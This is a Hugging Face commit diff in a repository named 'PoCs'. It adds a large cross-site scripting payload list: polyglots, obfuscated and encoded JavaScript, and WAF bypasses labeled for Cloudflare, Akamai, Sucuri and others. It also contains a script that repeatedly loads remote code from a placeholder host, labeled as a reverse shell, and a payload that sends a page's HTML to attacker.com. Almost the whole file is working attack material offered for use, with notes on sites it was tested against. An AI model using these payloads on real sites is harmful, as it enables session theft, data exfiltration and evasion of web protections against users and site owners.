Hugging Face's logo

Spaces:
asbeabi
/
PoCs
Running

App Files Community
1
asbeabi commited on
Commit
a415fa4
ยท
1 Parent(s): 9fc1c38

Update \"}));booq

Browse files
Files changed (1) hide show
  1. ///"}));booq +284 -0
///"}));booq CHANGED
@@ -0,0 +1,284 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
3
+ Hi'&gt;"<script src="//xss-server"></script><x="{9*9}\r\n%0a%09%0d<svg\onload=confirm(1)>
4
+ <x/onclick=alert``>
5
+ "><img src onerror=alert(1)>
6
+ <--`<img/src=` onerror=alert(3)> --!>
7
+ " autofocus onfocus=alert(4) fragment="
8
+ " onclick=alert`5` fragment="
9
+ <details/open ontoggle=alert(6)>
10
+ <svg/onload=alert`7`>
11
+ ><svg/onload=confirm``>"@yahoo.com
12
+ </div><img/**/src/**/onerror=alert(1)>
13
+ <Svg%K9OnLoad=%7Krompt%6K1%6K>
14
+ "'`><svg/onload=alert`1234`>
15
+
16
+ ๐’€€='',๐’‰บ=!๐’€€+๐’€€,๐’€ƒ=!๐’‰บ+๐’€€,๐’‡บ=๐’€€+{},๐’Œ=๐’‰บ[๐’€€++],
17
+ ๐’€Ÿ=๐’‰บ[๐’ˆซ=๐’€€],๐’€†=++๐’ˆซ+๐’€€,๐’น=๐’‡บ[๐’ˆซ+๐’€†],๐’‰บ[๐’น+=๐’‡บ[๐’€€]
18
+ +(๐’‰บ.๐’€ƒ+๐’‡บ)[๐’€€]+๐’€ƒ[๐’€†]+๐’Œ+๐’€Ÿ+๐’‰บ[๐’ˆซ]+๐’น+๐’Œ+๐’‡บ[๐’€€]
19
+ +๐’€Ÿ][๐’น](๐’€ƒ[๐’€€]+๐’€ƒ[๐’ˆซ]+๐’‰บ[๐’€†]+๐’€Ÿ+๐’Œ+"(๐’€€)")()
20
+
21
+
22
+ <script>setInterval(function(){d=document;z=d.createElement("script");z.src="//IP:PORT";d.body.appendChild(z)},0)</script> ==> reverse Shell
23
+ <iframe/src=j%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0t:prompt `1`> --> test it
24
+ "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> --> ModSecurity bypass
25
+
26
+ javascript:alert(1)
27
+ '-alert(1)-'
28
+ '-alert(1)//
29
+ `-alert(1)//\
30
+ \'-alert(1)//
31
+ '}alert(1);{'
32
+ '}alert(1)%0A{'
33
+ \'}alert(1);{//
34
+ \u0027-confirm`1`-\u0027
35
+ "; ||confirm('XSS') || "
36
+ '*prompt(1)*'
37
+ ${alert(1)}
38
+ {{32*32}}
39
+
40
+
41
+ ""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y
42
+ "])},alert(1));(function xss() {//
43
+ '?prompt`1`?'
44
+ " onmouseover=alert(/@darknetguy/)
45
+ " onclick=alert(1)//">click
46
+ " autofocus onfocus=alert(1) "
47
+ " onfocus=prompt(1) autofocus fragment="
48
+ " onfocus=prompt(1) onmouseover="confirm(1) " style="position:absolute;width:100%;height:100%;top:0;left:0;"
49
+ " onmousemove=alert(/@darknetguy/)//">Milad
50
+
51
+ "><svg onload=alert(1)>.gif
52
+ http://www.<svg/onload=ConFirm`1`>.com
53
+ "><svg/onload=confirm(1)>"@yahoo.com
54
+
55
+ <form action=javascript:alert(1)//
56
+ <form><button formaction=javascript&colon;alert(1)>xss
57
+ <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
58
+ <form id="test" /><button form="test" formaction="javascript:alert()">xss
59
+
60
+ <object data="data:text/html,<script>alert(5)</script>">
61
+ <iframe srcdoc="<svg onload=alert(4);>">
62
+ <object data=javascript:alert(3)>
63
+ <iframe src=javascript:alert(2)>
64
+ <embed src=javascript:alert(1)>
65
+
66
+ <iframe src='jAvAsCripT:(alert)()'></iframe>
67
+ <script%20~~~>\u0061\u006C\u0065\u0072\u0074``</script%20~~~>
68
+ <?tag x="-->" test="<img src=x onerror=alert(1)//">
69
+
70
+ bypass alert filter:
71
+ (alert)(1)
72
+ a=alert,a(2)
73
+ [3].find(alert)
74
+ al\u0065rt(4)
75
+ alert`5`
76
+ [6].map(alert)
77
+ [7].every(alert)
78
+ [8].filter(alert)
79
+ [9].findIndex(alert)
80
+ [10].forEach(alert)
81
+ self['alert'](11)
82
+ parent['alert'](12)
83
+ window['alert'](13)
84
+
85
+
86
+ Wordfence 7.4.2
87
+ <a href=&#01javascript:alert(1)>
88
+
89
+ Sucuri CloudProxy (POST only)
90
+ <a href=javascript&colon;confirm(1)>
91
+
92
+ ModSecurity CRS 3.2.0 PL1
93
+ <a href="jav%0Dascript&colon;alert(1)">
94
+
95
+
96
+
97
+ <iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a">
98
+ <script>eval(location.hash.slice(2))</script> and end of url ==> #alert("testtesttestets")
99
+
100
+ <script>
101
+ x='<%'
102
+ </script> %>/
103
+ alert(2)
104
+ </script>
105
+
106
+ /<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;> ---> cloudflare {`XSSยด} ยซbyPASSยป
107
+ /<svg%0Aonauxclick=0;[1].some(confirm)//
108
+
109
+
110
+
111
+ <svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML"> ===> send current page's source to attacker site
112
+
113
+
114
+ ===> use < diffrent way
115
+
116
+
117
+ ">'><details/open/ontoggle=confirm('XSS')> ===> maybe WAF bypasser (Test it)
118
+
119
+
120
+ <object/data="javascript&colon;alert/**/(document.domain)">// ===> Bypass CloudFront WAF
121
+
122
+ %3c<aa+ONLOAD+href=javasONLOADcript:promptONLOAD(1)%3e ===> maybe WAF bypasser (Test it)
123
+
124
+ <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)"> ===> maybe WAF bypasser (Test it)
125
+
126
+ "><input/onauxclick="[1].map(prompt)"> ==> Sucuri WAF XSS bypass
127
+
128
+ <--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!> ===> CloudFront XSS bypass
129
+
130
+ 1'"><img/src/onerror=.1|alert``> ===> Cloudflare #XSS #Bypass via dot
131
+ <img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>
132
+ <select><noembed></select><script x=โ€™a@bโ€™a>y=โ€™a@bโ€™//a@b%0a\u0061lert(1)</script x>
133
+ <a+HREF=โ€™%26%237javascrip%26%239t:alert%26lpar;document.domain)โ€™>
134
+
135
+ <!--><svg onload=alert(1)--> ===> bypass if comments are allowed
136
+ <svg onload="alert(1)" <="" svg=""
137
+ <svg onload=alert(1)//
138
+
139
+ <sVg/oNloAd=โ€JaVaScRiPt:/**\/*\โ€™/โ€\eval(atob(โ€˜Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==โ€™))โ€>
140
+ <iframe src=jaVaScrIpT:eval(atob(โ€˜Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==โ€™))>
141
+
142
+
143
+ ** ๐—”๐—ธ๐—ฎ๐—บ๐—ฎ๐—ถ [๐—ž๐—ข๐—ก๐—” ๐—ฆ๐—ถ๐˜๐—ฒ ๐——๐—ฒ๐—ณ๐—ฒ๐—ป๐—ฑ๐—ฒ๐—ฟ] ๐—ช๐—”๐—™ ๐—•๐˜†๐—ฝ๐—ฎ๐˜€๐˜€ **
144
+ <tiger/onpointerrawupdate=this['innerHTML']=unescape(location.hash);>XSS Me#<img src=x onerror=alert(0)>
145
+
146
+
147
+ <a href=โ€j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[โ€˜documentโ€™][โ€˜cookieโ€™]&rpar;โ€>X</a> ==> Cloudflare Bypass
148
+
149
+ javascript:โ€/*โ€™/*`/* โ†’<html \โ€ onmouseover=/*&lt;svg/*/onload=alert()//>
150
+
151
+ <marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'> ===> Akamai waf bypass
152
+
153
+ </script><svg><script>alert(1)%0A--> ===> It must land where JS syntax is not affected though
154
+ <link rel=import href='.&#47"><svg%20onload=alert(domain)>'>
155
+ <iframe src="javascript:alert(1)%%0D3C!--
156
+ <iframe src="javascript:alert(1)%%0D3C--
157
+
158
+ "><block%quote oncontextmenu%3Dconfirm(1)>Right click me</blockquote><!--
159
+ <--` <body/onload=&lt;!--&gt;&#10alert(1)> --!>
160
+ i\{\<\/\s\t\y\le\>\<\i\m\g\20\o\ne\r\r\o\r\=\'a\le\r\t\(\1\)\'\s\rc\=\'e\'\20\>{
161
+ <script src=data:,alert(1)>
162
+ https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
163
+ xโ€</title><img src%3dx onerror%3dalert(1)>
164
+ <IMG SRC=javascript:alert(&quot;XSS&quot;)>
165
+ /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
166
+ <dETAILS%0Aopen%0AonToGgle%0A=%0Aa=prompt,a() x>
167
+ <svg onunload=http://window.open('javascript:alert(1)')>
168
+
169
+
170
+ XSS'\x22"%22>4<%\u0022/* ===> locator!
171
+
172
+ <ScRiPt src=https://yoursite.com/XSS.js>
173
+
174
+ <style/onload=alert(0)>
175
+
176
+ %0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0) ==> injecting into src attributes, you need a javascript URI payload
177
+
178
+ ===> AWS WAF bypass
179
+
180
+ {` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ยด} ==> cloudflare ยซXSSยป payload to bypass protection
181
+
182
+ IE weird behavior:
183
+ <iframe id=element></iframe>
184
+ <script>
185
+ element.alert(1)
186
+ </script>
187
+
188
+ parentheses free payload by @aemkei
189
+ <script>
190
+ onload=setTimeout
191
+ Event.prototype.toString=
192
+ _=>"alert\501\51"
193
+ </script>
194
+
195
+
196
+ <</div>script</div>>alert()<</div>/script</div>>
197
+
198
+ <</div> %3c script</div>>alert()<<</div>/script</div>
199
+
200
+ </ScRiPt><img src=something onauxclick="new Function `al\ert\`xss\``">
201
+ #Akamai #Bypass #XSS #BugBounty
202
+ Found a working #xss payload after a brainstorming for a long #time.
203
+ #Tested in many sites with alexa ranking below #1000
204
+
205
+ Cloudflare WAF working again...
206
+ Dec: <svg onload=prompt%26%230000000040document.domain)>
207
+ Hex: <svg onload=prompt%26%23x000000028;document.domain)>
208
+
209
+
210
+ One to bypass Cloudflare WAF by @JacksonHHax
211
+ <svg onload=alert%26%230000000040"1")>
212
+
213
+
214
+
215
+ <
216
+ %3C
217
+ &lt
218
+ &lt;
219
+ &LT
220
+ &LT;
221
+ &#60
222
+ &#060
223
+ &#0060
224
+ &#00060
225
+ &#000060
226
+ &#0000060
227
+ &#60;
228
+ &#060;
229
+ &#0060;
230
+ &#00060;
231
+ &#000060;
232
+ &#0000060;
233
+ &#x3c
234
+ &#x03c
235
+ &#x003c
236
+ &#x0003c
237
+ &#x00003c
238
+ &#x000003c
239
+ &#x3c;
240
+ &#x03c;
241
+ &#x003c;
242
+ &#x0003c;
243
+ &#x00003c;
244
+ &#x000003c;
245
+ &#X3c
246
+ &#X03c
247
+ &#X003c
248
+ &#X0003c
249
+ &#X00003c
250
+ &#X000003c
251
+ &#X3c;
252
+ &#X03c;
253
+ &#X003c;
254
+ &#X0003c;
255
+ &#X00003c;
256
+ &#X000003c;
257
+ &#x3C
258
+ &#x03C
259
+ &#x003C
260
+ &#x0003C
261
+ &#x00003C
262
+ &#x000003C
263
+ &#x3C;
264
+ &#x03C;
265
+ &#x003C;
266
+ &#x0003C;
267
+ &#x00003C;
268
+ &#x000003C;
269
+ &#X3C
270
+ &#X03C
271
+ &#X003C
272
+ &#X0003C
273
+ &#X00003C
274
+ &#X000003C
275
+ &#X3C;
276
+ &#X03C;
277
+ &#X003C;
278
+ &#X0003C;
279
+ &#X00003C;
280
+ &#X000003C;
281
+ \x3c
282
+ \x3C
283
+ \u003c
284
+ \u003C